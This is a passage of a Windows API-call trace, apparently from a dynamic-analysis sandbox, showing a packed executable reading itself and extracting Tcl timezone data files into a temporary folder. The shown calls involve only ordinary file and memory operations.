lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.205] CloseHandle (hObject=0x10c) returned 1 [0038.205] GetLastError () returned 0x0 [0038.205] SetLastError (dwErrCode=0x0) [0038.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kinshasa") returned 72 [0038.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kinshasa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\kinshasa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.205] GetLastError () returned 0x2 [0038.205] SetLastError (dwErrCode=0x2) [0038.205] GetLastError () returned 0x2 [0038.205] SetLastError (dwErrCode=0x2) [0038.205] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kinshasa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kinshasa", lpFilePart=0x0) returned 0x47 [0038.205] GetLastError () returned 0x2 [0038.205] SetLastError (dwErrCode=0x2) [0038.205] GetLastError () returned 0x2 [0038.205] SetLastError (dwErrCode=0x2) [0038.205] GetLastError () returned 0x2 [0038.205] SetLastError (dwErrCode=0x2) [0038.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kinshasa") returned 72 [0038.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kinshasa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\kinshasa"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.206] GetFileType (hFile=0x10c) returned 0x1 [0038.206] htonl (hostlong=0x91000000) returned 0x91 [0038.206] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.206] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0038.208] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.208] CloseHandle (hObject=0x10c) returned 1 [0038.208] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.208] htonl (hostlong=0x30000000) returned 0x30 [0038.208] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.208] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.208] GetFileType (hFile=0x10c) returned 0x1 [0038.208] htonl (hostlong=0xbb555800) returned 0x5855bb [0038.208] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d05bb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.209] htonl (hostlong=0x87000000) returned 0x87 [0038.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0038.209] htonl (hostlong=0x87000000) returned 0x87 [0038.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.209] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.209] htonl (hostlong=0x8d000000) returned 0x8d [0038.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x550600 [0038.209] htonl (hostlong=0x87000000) returned 0x87 [0038.209] htonl (hostlong=0x8d000000) returned 0x8d [0038.209] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.209] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.209] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.209] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.209] CloseHandle (hObject=0x10c) returned 1 [0038.209] GetLastError () returned 0x0 [0038.209] SetLastError (dwErrCode=0x0) [0038.209] GetLastError () returned 0x0 [0038.209] SetLastError (dwErrCode=0x0) [0038.209] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.209] GetFileType (hFile=0x10c) returned 0x1 [0038.209] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.209] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.209] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.209] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.209] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.209] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.210] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.210] CloseHandle (hObject=0x10c) returned 1 [0038.210] GetLastError () returned 0x0 [0038.210] SetLastError (dwErrCode=0x0) [0038.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.210] GetFileType (hFile=0x10c) returned 0x1 [0038.210] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.210] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.210] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.210] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.210] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.210] CloseHandle (hObject=0x10c) returned 1 [0038.210] GetLastError () returned 0x0 [0038.210] SetLastError (dwErrCode=0x0) [0038.210] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.210] GetFileType (hFile=0x10c) returned 0x1 [0038.211] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.211] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.211] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.211] CloseHandle (hObject=0x10c) returned 1 [0038.211] GetLastError () returned 0x0 [0038.211] SetLastError (dwErrCode=0x0) [0038.211] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lagos") returned 69 [0038.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lagos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lagos"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.211] GetLastError () returned 0x2 [0038.211] SetLastError (dwErrCode=0x2) [0038.211] GetLastError () returned 0x2 [0038.211] SetLastError (dwErrCode=0x2) [0038.211] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lagos", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lagos", lpFilePart=0x0) returned 0x44 [0038.211] GetLastError () returned 0x2 [0038.211] SetLastError (dwErrCode=0x2) [0038.211] GetLastError () returned 0x2 [0038.211] SetLastError (dwErrCode=0x2) [0038.211] GetLastError () returned 0x2 [0038.211] SetLastError (dwErrCode=0x2) [0038.211] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lagos") returned 69 [0038.211] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lagos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lagos"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.212] GetFileType (hFile=0x10c) returned 0x1 [0038.212] htonl (hostlong=0x8d000000) returned 0x8d [0038.212] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.212] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8d, lpOverlapped=0x0) returned 1 [0038.213] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.213] CloseHandle (hObject=0x10c) returned 1 [0038.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.214] htonl (hostlong=0x30000000) returned 0x30 [0038.214] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.214] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.214] GetFileType (hFile=0x10c) returned 0x1 [0038.214] htonl (hostlong=0x42565800) returned 0x585642 [0038.214] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0642, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.214] htonl (hostlong=0x8b000000) returned 0x8b [0038.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0038.214] htonl (hostlong=0x8b000000) returned 0x8b [0038.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.214] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.214] htonl (hostlong=0x93000000) returned 0x93 [0038.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x550600 [0038.214] htonl (hostlong=0x8b000000) returned 0x8b [0038.214] htonl (hostlong=0x93000000) returned 0x93 [0038.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.214] CloseHandle (hObject=0x10c) returned 1 [0038.214] GetLastError () returned 0x0 [0038.214] SetLastError (dwErrCode=0x0) [0038.214] GetLastError () returned 0x0 [0038.215] SetLastError (dwErrCode=0x0) [0038.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.215] GetFileType (hFile=0x10c) returned 0x1 [0038.215] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.215] CloseHandle (hObject=0x10c) returned 1 [0038.215] GetLastError () returned 0x0 [0038.215] SetLastError (dwErrCode=0x0) [0038.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.215] GetFileType (hFile=0x10c) returned 0x1 [0038.215] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.216] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.216] CloseHandle (hObject=0x10c) returned 1 [0038.216] GetLastError () returned 0x0 [0038.216] SetLastError (dwErrCode=0x0) [0038.216] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.216] GetFileType (hFile=0x10c) returned 0x1 [0038.216] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.216] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.216] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.216] CloseHandle (hObject=0x10c) returned 1 [0038.216] GetLastError () returned 0x0 [0038.216] SetLastError (dwErrCode=0x0) [0038.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Libreville") returned 74 [0038.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Libreville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\libreville"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.217] GetLastError () returned 0x2 [0038.217] SetLastError (dwErrCode=0x2) [0038.217] GetLastError () returned 0x2 [0038.217] SetLastError (dwErrCode=0x2) 